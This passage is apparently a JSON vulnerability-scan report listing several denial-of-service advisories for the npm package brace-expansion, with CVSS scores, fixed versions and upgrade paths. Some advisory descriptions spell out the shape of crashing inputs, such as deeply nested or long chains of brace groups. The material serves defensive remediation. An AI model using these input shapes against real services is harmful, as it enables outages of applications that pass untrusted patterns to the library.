"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
